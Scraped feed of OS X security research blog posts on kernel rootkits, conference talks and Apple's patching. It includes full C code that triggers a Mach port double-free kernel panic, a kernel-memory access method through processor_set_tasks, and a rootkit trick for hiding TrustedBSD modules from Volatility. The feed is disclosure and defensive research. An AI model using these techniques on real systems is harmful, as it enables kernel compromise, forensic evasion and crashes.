diagnostic_service2.\n","permalink":"https://reverse.put.as/2015/03/19/badxnu-a-rotten-apple-codeblue-2014-syscan-2015-slides-and-source-code/","summary":"The last SyScan is almost here so it’s time to get again into a plane and travel to Singapore.\nThis means that the slides and source code can finally be released. Below you can find the archive with both presentations slides (they are slightly different, SyScan version fixes/upgrades a few things) and full source code for both rootkit/kext loaders.\nI hope you enjoy them; they are quite fun techniques, in particular the second one which now I sort of regret to disclose because it’s so cool.","title":"BadXNU, a rotten apple! – CodeBlue 2014, SyScan 2015 slides and source code"},{"content":"Hummm this is something that I should have done a long time ago but was always too lazy since there’s not highly critical information here (except some hashes and my PGP key/id).\nAnyway, you can finally access the blog over https://reverse.put.as. I still need to understand if there’s any impact on Google search stuff by moving it to HTTPS only.\nBetter late then never. Oh and fuck you David Cameron and your stupid populist ideas.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2015/01/13/https-is-now-finally-supported/","summary":"Hummm this is something that I should have done a long time ago but was always too lazy since there’s not highly critical information here (except some hashes and my PGP key/id).\nAnyway, you can finally access the blog over https://reverse.put.as. I still need to understand if there’s any impact on Google search stuff by moving it to HTTPS only.\nBetter late then never. Oh and fuck you David Cameron and your stupid populist ideas.","title":"https is now (finally) supported!"},{"content":"A few days late but, Happy New Year! 2014 is gone and it was an interesting year. Learnt quite a few new things in different areas, created tons of code, and got a couple of very interesting ideas to explore in 2015.\nIt also ended in a great way with a visit to CodeBlue to present BadXNU, a rotten apple. If there’s city and country I always wanted to visit, those were Tokyo and Japan. My (unusual) quite high expectations were matched by a very interesting mega city. I was quite surprised with its efficiency for such a gigantic town. And because I don’t speak Japanese I loved every “lost in translation” moment, where shop attendants kept speaking in Japanese. I don’t know, I just love these small things. Definitely can’t wait to get back to Tokyo and keep discovering the city; there are too many things to see, and still missing the rest of Japan. Phewwww!\nCodeBlue definitely shattered my expectations. It was impecably organized (many thanks to Kana, El Kentaro, Tessy, and everyone else for their amazing work and effort), was packed on both days (!), had a curious and motivated audience (at least that was my feeling), and a great program. Definitely highly recommended if you want to attend or speak there.\nUnfortunately you will have to wait for SyScan 2015 for the slides and source code. I always like to release everything as soon as possible but this time it’s special so please allow me the exception. I guess it will be worth the wait.\n2015 is starting with extremely motivated work on the OS X Rootkits book. Due to many reasons the project was stopped but I finally got the time and focus to resume work and make it a reality, together with my co-authors nemo and snare. I really hope it will be worth the wait, we are going to do our best. So keep an eye for it.\nLast but not least, I’m linking to the SyScan360 slides. I forgot to write a post about SyScan360 and link those slides. The slide count is a bit bigger than the ShakaCon set (I can’t remember the differences now but I probably tuned some details and added a few things).\nSyScan 360 – Fuck You Hacking Team Slides\nHope you have a great year and stay healthy.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2015/01/10/happy-new-year/","summary":"A few days late but, Happy New Year! 2014 is gone and it was an interesting year. Learnt quite a few new things in different areas, created tons of code, and got a couple of very interesting ideas to explore in 2015.\nIt also ended in a great way with a visit to CodeBlue to present BadXNU, a rotten apple. If there’s city and country I always wanted to visit, those were Tokyo and Japan.","title":"Happy New Year!"},{"content":"Today a local privilege escalation vulnerability was disclosed in this blog post. It describes a vulnerability in IOBluetoothFamily kernel extension (IOKit is a never-ending hole of security vulnerabilities).\nMavericks and most probably all previous versions are vulnerable but not Yosemite.\nThe reason for this is that Apple silently patched the bug in Yosemite. This is not a new practice, where Apple patches bugs in the latest and newly released OS X version and doesn’t care about older versions. Mavericks 10.9.5 update was released more or less around Yosemite date and this doesn’t look like a last minute bug found (although I’m going to confirm this). I bet that the bugs disclosed at SyScan 2013 by Stefan Esser still aren’t patched in Mountain Lion.\nThe blog post authors seem to experience the same \u0026ldquo;we don’t care attitude\u0026rdquo;. Their conclusions states:\nWe contacted Apple on October 20th, 2014, asking for their intention to back-port the security fix to OS X Mavericks. Unfortunately, we got no reply, so we decided to publicly disclose the details of this vulnerability: Yosemite has now been released since a while and is available for free for Apple customers; thus, we don’t think the public disclosure of this bug could endanger end-users.\nThe patch is very simple with only two instructions. With some luck we can patch it ourselves. What we need is a bit of unused space for installing the patch instructions. The Mach-O header is usually a good place in userland but in kernel extensions you get a no execute (NX) kernel panic. The header is also in not wired memory so it’s not a good place to install a patch. We are left with alignment space. If you search there are quite a few places with 15 alignment bytes (tip: load the driver into IDA, do a text search for align or a byte search for 90 90 90). That’s good enough for our patching, and we will need two of those islands since my proposed patch is 19 bytes long.\nThe two patch instructions are:\ntest ecx,ecx js location To install the patch we need to replace the first original instruction with a jump to the first island. Then we restore the original instruction and add the new patch instructions. We need to use a second island because the first doesn’t have enough space for this. The new code should be something like this:\noriginal_address: jmp first_island nop remaining original_instructions (...) first_island: jge location (original instruction) test ecx,ecx (patch instruction) jmp second_island second_island: js location (patch instruction) jmp next_original_instruction For Mavericks 10.9.5 you want to patch the following file /System/Library/Extensions/IOBluetoothFamily.kext/Contents/MacOS/IOBluetoothFamily.\nUse the following file offsets and bytes:\nOriginal instructions: 0x2855C: E9 B0 F7 FF FF 90 First island: 0x27D11: 0F 8D 43 0B 00 00 0x27D17: 85 C9 0x27D19: E9 23 2E 00 00 Second island: 0x2AB41: 0F 88 13 DD FF FF 0x2AB47: E9 16 DA FF FF Save file, copy back to the original location, touch /System/Library/Extensions and reboot. Most probably this patch can be improved and reduced in size using smaller jump offsets if nearer islands are available. I didn’t bother to check.\nNow go write to Apple and ask them to issue a proper patch. This total crap security policy must come to an end. Just in case you are wondering if this is an isolated case, check this Google Project Zero blog post. Two bugs that remain unpatched on OS X.\nOh, this will break the code signature but in Mavericks that’s just a warning and not a fatal error. You can resign with a developer kext certificate if you have one.\nHave fun,\nfG!\nP.S.:\nAnother fine example of this crap security policy is that Apple fixed a few integer overflows in C++ code of libkern in Yosemite but didn’t bother to backport to Mavericks 10.9.5. This is just insane\u0026hellip;\n","permalink":"https://reverse.put.as/2014/10/31/patching-what-apple-doesnt-want-to-or-how-to-make-your-old-os-x-versions-a-bit-safer/","summary":"Today a local privilege escalation vulnerability was disclosed in this blog post. It describes a vulnerability in IOBluetoothFamily kernel extension (IOKit is a never-ending hole of security vulnerabilities).\nMavericks and most probably all previous versions are vulnerable but not Yosemite.\nThe reason for this is that Apple silently patched the bug in Yosemite. This is not a new practice, where Apple patches bugs in the latest and newly released OS X version and doesn’t care about older versions.","title":"Patching what Apple doesn’t want to or how to make your “old” OS X versions a bit safer"},{"content":"Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.\nThe idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMware Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them. For the first part you don’t really need this module because the audit features available in OS X can give you this information. I’m more interested in having decision power over what is executed. Or it’s just another nice example of how TrustedBSD is so interesting and powerful and why it’s annoying that Apple is closing KPI access to it (latest SDK warnings say it was never meant to be a KPI).\nThere are two parts to this. The first is the kernel driver that detects execution, controls access, and notifies userland. The second is a small userland application that receives the kernel notifications, asks the user for a decision, and sends back the answer to the kernel. The execution is blocked until a decision is made or a timeout is reached (default is 5 seconds, you probably want to increase this value).\nTo avoid any deadlocks all binaries are authorized before userland application is connected. When the userland finally connects it receives a list (displayed as user notifications) of all the suid binaries that executed during the boot process (from my tests this is zero in Mavericks).\nBecause of the changing nature of TrustedBSD started in Mavericks, this code only works with Mavericks as it is. If you want to make it work in Mountain Lion or Yosemite, you need to change the hook prototype and compile it with the correspondent SDK.\nThe userland application needs some work due to my crap Cocoa skills. The kernel extension has a few points that need a decision (what to do in error cases mostly), authentication of the userland process (it’s not hard to do), and probably more process information.\nA friendly tip: The kernel control interface is used for userland/kernel communication. Because the volume of data exchanged is very low it’s ok for this. If you are thinking about using this interface for high volumes forget about it. It has some weird bug where it starts losing data and not able to keep throughtput (error 55 is what you start to experience).\nSource code available at Github, https://github.com/gdbinit/can_I_suid.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/10/03/can-i-suid-a-trustedbsd-policy-module-to-control-suid-binaries-execution/","summary":"Let me present you another TrustedBSD policy module, this time to control execution of suid enabled binaries.\nThe idea to create this started with nemo’s exploitation of bash’s shellshock bug and VMware Fusion. It was an easy local privilege escalation because there are many Fusion suid enabled binaries. This got me thinking that I want to know when this kind of binaries are executed and if possible control access to them.","title":"Can I SUID: a TrustedBSD policy module to control suid binaries execution"},{"content":"The iOS 8 security update bulletin has many fixed bugs, one of which is this one:\nA double free issue existed in the handling of Mach ports.\nThis issue was addressed through improved validation of Mach ports.\nCVE-2014-4375 : an anonymous researcher.\nWell, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird CPU spikes not attributed to any process, or system lock ups after a while. This used as anti-debugging measure is extremely fun because the attacker will suffer from totally random events and the bug is easy to hide in plain sight.\nThe following sample code will trigger it:\n#include \u0026lt;CoreFoundation/CoreFoundation.h\u0026gt; #include \u0026lt;mach/host_priv.h\u0026gt; #include \u0026lt;mach/mach.h\u0026gt; #include \u0026lt;mach/host_special_ports.h\u0026gt; static mach_port_t service; /* our own service port */ int main(int argc, const char * argv[]) { kern_return_t kr = 0; /* create the negotiation server service port */ kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, \u0026amp;service); if (kr != KERN_SUCCESS) { printf(\u0026#34;Failed to allocate port: %s\\n\u0026#34;, mach_error_string(kr)); exit(1); } /* host_set_special_port requires a send right */ kr = mach_port_insert_right(mach_task_self(), service, service, MACH_MSG_TYPE_MAKE_SEND); if (kr != KERN_SUCCESS) { printf(\u0026#34;Failed to mach_port_insert_right: %s\\n\u0026#34;, mach_error_string(kr)); exit(1); } mach_port_t host_port; /* get host port so we can do the host_set_special_port */ if ((host_port = mach_host_self()) == MACH_PORT_NULL) { printf (\u0026#34;mach_host_self() returned MACH_PORT_NULL\\n\u0026#34;); exit(1); } kr = host_set_special_port (host_port, // invalid port being passed HOST_UNFREED_PORT, service); if (kr != KERN_SUCCESS) { printf (\u0026#34;Can\u0026#39;t check in with server\\n\u0026#34;); /* we should crash here */ exit(1); } CFShow(CFSTR(\u0026#34;Hello, World!\\n\u0026#34;)); return 0; } Start Activity Monitor and load the binary once or twice in a Terminal window. You should immediately observe the effects. In iOS it results in immediate kernel panic and reboot.\nThis bug is fixed on Yosemite DP4 or later, and iOS 8. All other versions are still vulnerable. For example Mavericks 10.9.5 was released just after iOS 8 and the bug is still unfixed. A common practice from Apple if we take in account that bugs disclosed at SyScan 2013 are still unfixed in Mountain Lion.\nThe Apple motto seems to be: Use the latest version or be vulnerable (aka fuck off!).\nThe impact attributed by Apple to this one:\nImpact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel.\nTake your own conclusions 😉.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/09/24/the-double-free-mach-port-bug-the-short-story-of-a-dead-0day/","summary":"The iOS 8 security update bulletin has many fixed bugs, one of which is this one:\nA double free issue existed in the handling of Mach ports.\nThis issue was addressed through improved validation of Mach ports.\nCVE-2014-4375 : an anonymous researcher.\nWell, I’ve known this bug for a while and it was insanely fun as anti-debugging measure because of its random effects when triggered. For example, sometimes you get an immediate kernel panic, others nothing happens, and most of the time you get weird CPU spikes not attributed to any process, or system lock ups after a while.","title":"The double free mach port bug: The short story of a dead 0day"},{"content":"Aloha,\nShakacon number 6 is over, it was a blast and I must confess it beat my expectations. Congratulations to everyone involved in making it possible. Definitely recommended if you want to speak or attend, and totally worth the massive jet lag.\nMy presentation was about reverse engineering Hacking Team OS X malware latest known sample. The slide count is 206 and I was obviously not able to present everything. The goal is that you have a nice reference available for this malware and also MPRESS unpacking (technically dumping).\nThis sample in particular was thought to be a newer version of this malware but I try to show you that I don’t think it’s the case and instead, it’s the oldest version of Hacking Team OS X malware. If this theory is true, it means we have a two years knowledge gap about the OS X version. Interesting challenge ahead!\nThe tool I promised to release will have to wait a couple more days since I need to fix its code to implement the fixes I suggest regarding the file and memory sizes differences. Keep watching this space, Github or Twitter.\nUpdate: MPRESS dumper source code now available at Github.\nMahalo,\nfG!\nLinks to slides (34.3Mb):\nShakaCon6-FuckYouHackingTeam.pdf\n","permalink":"https://reverse.put.as/2014/06/26/shakacon-6-presentation-fuck-you-hacking-team-from-portugal-with-love/","summary":"Aloha,\nShakacon number 6 is over, it was a blast and I must confess it beat my expectations. Congratulations to everyone involved in making it possible. Definitely recommended if you want to speak or attend, and totally worth the massive jet lag.\nMy presentation was about reverse engineering Hacking Team OS X malware latest known sample. The slide count is 206 and I was obviously not able to present everything. The goal is that you have a nice reference available for this malware and also MPRESS unpacking (technically dumping).","title":"Shakacon #6 presentation: Fuck you Hacking Team, From Portugal with Love."},{"content":"At BlackHat Asia 2014, Ming-chieh Pan and Sung-ting Tsai presented about Mac OS X Rootkits (paper and slides). They describe some very cool techniques to access kernel memory in different ways than the usual ones. The slides and paper aren’t very descriptive about all the techniques so this weekend I decided to give it a try and replicate the described vulnerability to access kernel memory.\nThe access to kernel task (process 0) was possible before Leopard (or was it fixed in Snow Leopard? too lazy to check it now!), by using the function task_for_pid(0). This would retrieve the task port for the kernel and then we could use the mach_vm_read/write functions to fool around with kernel memory. It was pretty cool but a giant hole, even if it required root access to be used. The task_for_pid() function now has the following code to deny access to the kernel task (from 10.9.0 XNU source code):\n/* *\tRoutine:\ttask_for_pid *\tPurpose: *\tGet the task port for another \u0026#34;process\u0026#34;, named by its *\tprocess ID on the same host as \u0026#34;target_task\u0026#34;. * *\tOnly permitted to privileged processes, or processes *\twith the same user ID. * *\tNote: if pid == 0, an error is return no matter who is calling. * * XXX This should be a BSD system call, not a Mach trap!!! */ kern_return_t task_for_pid( struct task_for_pid_args *args) { ... /* Always check if pid == 0 */ if (pid == 0) { (void ) copyout((char *)\u0026amp;amp;t1, task_addr, sizeof(mach_port_name_t)); AUDIT_MACH_SYSCALL_EXIT(KERN_FAILURE); return(KERN_FAILURE); } ... } So root or not, we can’t use this trick anymore to get the kernel task port. But Apple was so kind to leave a similar hole in other functions as the mentioned presentation shows. The function processor_set_tasks() lists all the tasks in the processor set. What is a processor set? Mac OS X and iOS Internals book describes it as \u0026ldquo;A processor set is a logically coupled group of processors and allows Mach to efficiently scale to SMP architectures by using the set as a container for related processors\u0026rdquo;. Essentially a XNU abstraction to scale to multiprocessors/multicores architectures. The interesting bit out of this function is that it returns the task port for all the tasks in the processor set, which in practice should mean all processes running in the system. This includes the kernel task due to XNU design, where the kernel is just another task in the system.\nThe vulnerability is very easy to use! We just set all the necessary ports to use processor_set_tasks, calls this function, and get the kernel task port in the element zero of the returned task_array_t of processor_set_tasks. After having the task port we can use the mach_vm_read and mach_vm_write functions to read and write from kernel memory, like it’s done for userland processes. The first argument for those functions is the task port, so as long we have a valid port we can do whatever we want with the kernel memory or any other process in the system (technically all the processes in the task list but there’s a one to one mapping between tasks and BSD processes in OS X).\nAlso a very fun detail is that this same vulnerability was perfectly described in Mac OS X and iOS Internals book for a long time on page 387. A screenshot of that page follows:\nI totally missed the clue when I read it although my silly brain still remembered I read something about the processor sets in the book. The other funny detail about this is at the bottom of that page, where it says the vulnerability was fixed in iOS but left all this time in OS X (still unfixed in latest Mavericks update).\nIf you want to see it working you can check the checkidt util in Github repo. This is an updated version of an old port I did from a Phrack article three years ago. It tries to use this vulnerability to read from kernel memory before trying to use the /dev/kmem device (that needs to be manually configured in OS X). It is a very useful vulnerability to this kind of tools.\nWhat’s the catch about all this? It still needs root access to work, which is not perfect from a rootkit point of view but also not a big obstacle (how many installers ask for admin privileges? too many!). task_for_pid(0) was fixed and it also required root privileges to work.\nThis is/was a nice bug, let it rest in peace and be useful while it lasts.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/","summary":"At BlackHat Asia 2014, Ming-chieh Pan and Sung-ting Tsai presented about Mac OS X Rootkits (paper and slides). They describe some very cool techniques to access kernel memory in different ways than the usual ones. The slides and paper aren’t very descriptive about all the techniques so this weekend I decided to give it a try and replicate the described vulnerability to access kernel memory.\nThe access to kernel task (process 0) was possible before Leopard (or was it fixed in Snow Leopard?","title":"About the processor_set_tasks() access to kernel memory vulnerability"},{"content":"Enjoy it at Phrack.\nIt’s finally out. It feels a bit old and it is indeed a bit old but still a good paper (or at least I tried to make it that way). The supplied code is for an older version of that rootkit. For example it still has dependencies on importing task, proc and other kernel private structures. The updated version solves all required offsets so it supports easily new and old OS X versions. It will come out with the book together with other features that were added, and new ones I am poking around.\nThe book? Life has been chaotic, doesn’t help my brain is like electricity, always attraced by the least resistance path and by new things. I got new motivation and hopefully a team soon enough so I can dedicate myself to write it.\nI can tell you that nemo wrote a treaty on DTrace. A bit more patience on this, I think it will be worth the wait.\nMeanwhile, enjoy that long article, hopefully it is interesting enough.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/04/18/revisiting-mac-os-x-kernel-rootkits-phrack-article-is-finally-out/","summary":"Enjoy it at Phrack.\nIt’s finally out. It feels a bit old and it is indeed a bit old but still a good paper (or at least I tried to make it that way). The supplied code is for an older version of that rootkit. For example it still has dependencies on importing task, proc and other kernel private structures. The updated version solves all required offsets so it supports easily new and old OS X versions.","title":"Revisiting Mac OS X Kernel Rootkits Phrack article is finally out!"},{"content":"After surviving the five shots at SyScan’s WhiskeyCon I am finally back home and you get a chance to see the slides and code for the TrustedBSD module I presented there.\nThe goal of REX vs The Romans is to work as detection and prevention tool of Hacking Team’s OS X malware. The TrustedBSD hook allows to detect if the system is already infected, and the Kauth listener to warn about any future infection.\nThe code has a strong assumption, which is that the malware binaries are installed into /Users/username/Library/Preferences. This has been true for all past known samples found in the wild. I do have better work than this but it is embedded in a commercial product so I can’t disclose its code.\nThe kernel extension will generate a user alert when something wrong is detected, either on installation or already infected system. A message starting with [WARNING] will also be printed to the system log. The following screenshot demonstrates the execution and infection from the dropper in a Lion 10.7.5 system.\nYou are encouraged to improve this code. Unfortunately I can’t do much more because of the commercial product conflict. If you do so please tell me about it, I might be able to help with some hints and/or fixes.\nI am going to try to get a personal kernel extension certificate so I can distribute a ready to use binary version of this extension. That would be the most helpful case for the common users out there. Let’s see if Apple allows me to do so.\nThe slides are available here. The code is available at Github. If you have any issues or questions feel free to mail me or post a comment.\nSyScan 2014 was awesome, thanks to everyone who attended and made it possible.\nHave fun,\nfG!\nP.S.:\nThe MPRESS dumper will hopefully be released when I do the full presentation on Hacking Team’s OS X malware this year.\n","permalink":"https://reverse.put.as/2014/04/08/rex-vs-the-romans-anti-hacking-team-kernel-extension/","summary":"After surviving the five shots at SyScan’s WhiskeyCon I am finally back home and you get a chance to see the slides and code for the TrustedBSD module I presented there.\nThe goal of REX vs The Romans is to work as detection and prevention tool of Hacking Team’s OS X malware. The TrustedBSD hook allows to detect if the system is already infected, and the Kauth listener to warn about any future infection.","title":"Rex vs The Romans – Anti Hacking Team Kernel Extension"},{"content":"Rex the Wonder Dog (here and here) is a proof of concept that uses TrustedBSD framework to install kernel level backdoors. Volatility is able to detect these malicious modules with a plugin created by Andrew Case. The plugin works by looking up the TrustedBSD structures and dumping information about the loaded modules.\nAt SyScan360 I presented a “new” trick to bypass this plugin by creating a shadow structure and leaving the legit one untouched. Volatility looks up the original structure and is unable to detect the malicious modules. The problem of this approach is that modifies kernel code (the references to the structure) so it will raise a flag when verifying the integrity of the running kernel code.\nThe real Rex is a very cool dog but his only interest in life is food. Fortunately for him the virtual Rex is smarter and eager to learn so let’s teach him something new. This trick exploits a failure in the plugin assumptions to not replicate the exact TrustedBSD plugins call process. It is once again a good example of how assumptions can be problematic, both to the person creating the plugin and its users. The latter are most of the time blind to the underlying assumptions and just want to use the tools. Off-the-shelf tools always have these kind of problems and the more popular they are the more blindly used and trusted. This is not a specific critic to the Volatility project (which I think it’s a great project by the way!) but more directed towards Information Security in general, where this is a frequent problem. I digress, let’s move to the interesting part!\nTrustedBSD is one of my favourite features in OS X kernel. It allows to easily extend OS X security or install backdoors into the kernel without modifying kernel code. We just have to load a kernel module configured with the hooks we are interested in listening at. TrustedBSD will do all the dirty work for us and call our functions, where we can control access to resources or do malicious stuff.\nThe core of TrustedBSD implementation is the mac_policy_list structure, used in a global variable called mac_policy_list. It contains information about all the loaded modules.\n/* defined in XNU/security/mac_internal.h */ struct mac_policy_list_element { struct mac_policy_conf *mpc; }; struct mac_policy_list { u_int\tnumloaded; u_int max; u_int\tmaxindex; u_int\tstaticmax; u_int\tchunks; u_int\tfreehint; struct mac_policy_list_element\t*entries; }; typedef struct mac_policy_list mac_policy_list_t; /* defined in XNU/security/mac_base.c */ mac_policy_list_t mac_policy_list; The entries array contains the information about the loaded modules and their callbacks in mpc_ops.\n/** @brief Mac policy configuration This structure specifies the configuration information for a MAC policy module. A policy module developer must supply a short unique policy name, a more descriptive full name, a list of label namespaces and count, a pointer to the registered enty point operations, any load time flags, and optionally, a pointer to a label slot identifier. The Framework will update the runtime flags (mpc_runtime_flags) to indicate that the module has been registered. If the label slot identifier (mpc_field_off) is NULL, the Framework will not provide label storage for the policy. Otherwise, the Framework will store the label location (slot) in this field. The mpc_list field is used by the Framework and should not be modified by policies. */ struct mac_policy_conf { const char *mpc_name;\t/** policy name */ const char *mpc_fullname;\t/** full name */ const char **mpc_labelnames;\t/** managed label namespaces */ unsigned int mpc_labelname_count; /** number of managed label namespaces */ struct mac_policy_ops *mpc_ops;\t/** operation vector */ int mpc_loadtime_flags;\t/** load time flags */ int *mpc_field_off;\t/** label slot */ int mpc_runtime_flags;\t/** run time flags */ mpc_t mpc_list;\t/** List reference */ void *mpc_data;\t/** module data */ }; Iterating over the entries array gives us all the loaded TrustedBSD modules. The contents of mac_policy_list in a clean OS X system are:\ngdb$ print (mac_policy_list_t)mac_policy_list $1 = { numloaded = 0x3, max = 0x200, maxindex = 0x2, staticmax = 0x3, chunks = 0x1, freehint = 0x3, entries = 0xffffff800c865000 } gdb$ x/10xg 0xffffff800c865000 0xffffff800c865000: 0xffffff7f875dd010 0xffffff7f875f21d0 0xffffff800c865010: 0xffffff7f875fe110 0x0000000000000000 0xffffff800c865020: 0x0000000000000000 0x0000000000000000 0xffffff800c865030: 0x0000000000000000 0x0000000000000000 0xffffff800c865040: 0x0000000000000000 0x0000000000000000 gdb$ print *(struct mac_policy_conf*)0xffffff7f875dd010 $2 = { mpc_name = 0xffffff7f875dcfd4 \u0026#34;TMSafetyNet\u0026#34;, mpc_fullname = 0xffffff7f875dcfe0 \u0026#34;Safety net for Time Machine\u0026#34;, mpc_labelnames = 0xffffff7f875dd060, mpc_labelname_count = 0x1, mpc_ops = 0xffffff7f875dd068, mpc_loadtime_flags = 0x2, mpc_field_off = 0xffffff7f875ddbd8, mpc_runtime_flags = 0x1, mpc_list = 0x0, mpc_data = 0x0 } By default three modules are loaded, TMSafetyNet, Sandbox, and Quarantine. If a new TrustedBSD module is loaded the structure is modified to:\ngdb$ print (mac_policy_list_t)mac_policy_list $3 = { numloaded = 0x4, max = 0x200, maxindex = 0x3, staticmax = 0x3, chunks = 0x1, freehint = 0x4, entries = 0xffffff800c865000 } gdb$ x/10xg 0xffffff800c865000 0xffffff800c865000: 0xffffff7f875dd010 0xffffff7f875f21d0 0xffffff800c865010: 0xffffff7f875fe110 0xffffff7f8860dc40 0xffffff800c865020: 0x0000000000000000 0x0000000000000000 0xffffff800c865030: 0x0000000000000000 0x0000000000000000 0xffffff800c865040: 0x0000000000000000 0x0000000000000000 The number of loaded modules numloaded is increased to four, maxindex and freehint are increased by one, staticmax is unchanged. The meaning of staticmax can be found in XNU_source/security/mac_base.c:\n/* * mac_policy_list holds the list of policy modules. Modules with a * handle lower than staticmax are considered \u0026#34;static\u0026#34; and cannot be * unloaded. Such policies can be invoked without holding the busy count. * * Modules with a handle at or above the staticmax high water mark * are considered to be \u0026#34;dynamic\u0026#34; policies. A busy count is maintained This means that the three “default” modules described above are considered static and cannot be unloaded. If this wasn’t the case, for example, the sandbox module could be unloaded with root access. Just for curiosity, the modules can be configured for unloading by setting the MPC_LOADTIME_FLAG_UNLOADOK flag in mpc_loadtime_flags of struct mac_policy_conf.\nHow are the modules called aka how TrustedBSD really works? Let’s use the task_for_pid() function to exemplify. Its kernel implementation is:\n/* in XNU/bsd/vm/vm_unix.c */ kern_return_t task_for_pid( struct task_for_pid_args *args) { (...) #if CONFIG_MACF error = mac_proc_check_get_task(kauth_cred_get(), p); if (error) { error = KERN_FAILURE; goto tfpout; } #endif (...) } /* in XNU/security/mac_process.c */ int mac_proc_check_get_task(struct ucred *cred, struct proc *p) { int error; MAC_CHECK(proc_check_get_task, cred, p); return (error); } In task_for_pid() there is a hook that calls the TrustedBSD function mac_proc_check_get_task(). Inside this function there is a macro MAC_CHECK that iterates the loaded modules and executes the registered callback if the module registered to this operation. There are four of these macros, MAC_CHECK, MAC_GRANT, MAC_BOOLEAN, MAC_PERFORM. Let’s see how MAC_CHECK is implemented to understand the vulnerability:\n/* * MAC_CHECK performs the designated check by walking the policy * module list and checking with each as to how it feels about the * request. Note that it returns its value via \u0026#39;error\u0026#39; in the scope * of the caller. */ #define\tMAC_CHECK(check, args...) do {\t\\ struct mac_policy_conf *mpc;\t\\ u_int i; \\ \\ error = 0;\t\\ for (i = 0; i \u0026lt; mac_policy_list.staticmax; i++) {\t\\ mpc = mac_policy_list.entries[i].mpc; \\ if (mpc == NULL) \\ continue; \\ \\ if (mpc-\u0026gt;mpc_ops-\u0026gt;mpo_ ## check != NULL)\t\\ error = mac_error_select( \\ mpc-\u0026gt;mpc_ops-\u0026gt;mpo_ ## check (args),\t\\ error);\t\\ }\t\\ if (mac_policy_list_conditional_busy() != 0) {\t\\ for (; i \u0026lt;= mac_policy_list.maxindex; i++) {\t\\ mpc = mac_policy_list.entries[i].mpc;\t\\ if (mpc == NULL) \\ continue; \\ \\ if (mpc-\u0026amp;gt;mpc_ops-\u0026amp;gt;mpo_ ## check != NULL)\t\\ error = mac_error_select( \\ mpc-\u0026gt;mpc_ops-\u0026gt;mpo_ ## check (args),\t\\ error);\t\\ }\t\\ mac_policy_list_unbusy();\t\\ }\t\\ } while (0) The macro first iterates the static modules and continues with the dynamic ones if they exist. Recall that when a new module was loaded the staticmax stayed at three and maxindex increased to three. This means that the new module will hit the second part of the macro.\nNow the important question. What happens if staticmax is bigger than maxindex? The dynamic policy will still be called from the staticmax iteration but not from the maxindex iteration.\nThis means that a rootkit can load a TrustedBSD backdoor and modify the array by moving its pointer ahead and/or modifying staticmax and maxindex values. TrustedBSD will continue to work as usual with these modifications so they are ok.\nWhere’s the Volatility vulnerability?\nThis is the vulnerable code snippet from trustedbsd.py plugin:\nlist_addr = self.addr_space.profile.get_symbol(\u0026#34;_mac_policy_list\u0026#34;) plist = obj.Object(\u0026#34;mac_policy_list\u0026#34;, offset = list_addr, vm = self.addr_space) parray = obj.Object(\u0026#39;Array\u0026#39;, offset = plist.entries, vm = self.addr_space, targetType = \u0026#39;mac_policy_list_element\u0026#39;, count = plist.maxindex + 1) for ent in parray: # I don\u0026#39;t know how this can happen, but the kernel makes this check all over the place # the policy is useful without any ops so a rootkit can\u0026#39;t abuse this if ent.mpc == None: continue name = ent.mpc.mpc_name.dereference() ops = obj.Object(\u0026#34;mac_policy_ops\u0026#34;, offset = ent.mpc.mpc_ops, vm = self.addr_space) # walk each member of the struct for check in ops_members: ptr = ops.__getattr__(check) if ptr != 0: good = common.is_known_address(ptr, kernel_symbol_addresses, kmods) yield (good, check, name, ptr) What happens is that this plugin iterates the modules list using only the maxindex value and doesn’t care about the staticmax. We can easily escape detection by modifying staticmax as previously described. Volatility will not detect the backdoor because it is outside the array it is looking at. You can even position the module far away in the array because there are 0x200 entries pre-allocated. In this case it would be more suspicious but since there is no info printed about the contents of mac_policy_list, that would require someone to pay attention to that detail - also known as experience.\nSince the module operations in mpc_ops are just pointers, the zombies rootkit technique can be used to load the malicious backdoor and leave no visible traces of the kernel extension, other than the data and changes in mac_policy_list that Volatility can’t detect yet.\nAt the same time, this is also a TrustedBSD implementation bug because it assumes the static modules cannot be unloaded, which might not be true at all. If one module loaded as static is unloaded (because it was configured for that, not a common scenario!) a hole will be created in the entries array. The entry will be set to NULL and when you load/reload a module, it will never be called because of the desync that now exists in the staticmax and maxindex fields.\nConclusion:\nThis is a pretty cute way to create a desync between what Volatility is able to see and what is running. It was a very nice bug because it somewhat exploits user trust. I expect most people to trust the plugin output and look no further.\nYou always need to understand what the tools are doing, and the internals of what you are trying to analyse. This means a lot of extra work and study, and not simple usage of “off-the-shelf” tools.\nKeep up the good work Volatility team, be careful with the assumptions!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2014/03/18/teaching-rex-another-trustedbsd-trick-to-hide-from-volatility/","summary":"Rex the Wonder Dog (here and here) is a proof of concept that uses TrustedBSD framework to install kernel level backdoors. Volatility is able to detect these malicious modules with a plugin created by Andrew Case. The plugin works by looking up the TrustedBSD structures and dumping information about the loaded modules.\nAt SyScan360 I presented a “new” trick to bypass this plugin by creating a shadow structure and leaving the legit one untouched.","title":"Teaching Rex another TrustedBSD trick to hide from Volatility"},{"content":"Our lovely GDB has been declared dead with Xcode 5 release. The new king in town is LLDB, and that also applies to kernel debugging. Change is good, even if we Humans don’t like it, but\u0026hellip; there’s still no gdbinit for LLDB and I just love it. Even more important (for kernel debugging), LLDB still has no support (afaik) for VMware GDB stub. This means it’s not possible to do kernel debugging in Mavericks VMs other than KDP. I like the GDB stub a lot; ctrl+c and bang we got kernel control.\nI needed to do some research with Mavericks so I decided to port the kgmacros script to Mavericks. It was easier than I expected, just some fixes to structures that changed. Most functions are working ok, and there are a few private helper commands I added last yet while I doing some research. Mostly improvements related to physical memory functions. The most important commands, at least for me, are 